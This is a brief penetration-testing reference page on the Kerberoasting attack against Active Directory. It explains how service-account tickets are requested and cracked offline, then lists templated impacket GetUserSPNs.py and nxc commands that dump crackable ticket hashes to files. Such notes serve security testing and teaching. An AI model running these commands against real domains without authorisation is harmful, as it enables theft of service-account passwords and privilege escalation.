> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/active-directory/_vulnerabilities/kerberoasting.md).

# Kerberoasting

### Kerberoasting

Kerberoasting is an Active Directory attack where any authenticated domain user requests a Kerberos service ticket for a service account with an **SPN**, saves the ticket, and cracks it offline to recover the service account password if that password is weak; this is dangerous because it does not require administrator rights, does not trigger account lockouts during cracking, and can lead to lateral movement or privilege escalation when the service account has broad access.

<figure><img src="https://3765741850-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FBecGguRFXU4mnIRly0ZA%2Fuploads%2FwPdHar9vA9AherdtZ7pO%2Fafbeelding.png?alt=media&amp;token=0f4c683f-818b-4589-b98f-3730e0c638e8" alt="" width="348"><figcaption></figcaption></figure>

### Exploitation

Kerberoasting can be exploited with impacket or with nxc. Some examples are included below:

```bash
# 1. retrieve all - KERBEROAST - able accounts from the domain
GetUserSPNs.py '{{DOMAIN}}'.'{{ROOTDNS}}'/'{{USERNAME}}':'{{PASSWORD}}' -dc-ip {{RHOST}} -request -outputfile hashes.kerberoast
 
# 2. utilizing nxc
nxc ldap {{RHOST}} -u '{{USERNAME}}' -p '{{PASSWORD}}' --kerberoast kerberoast.txt
```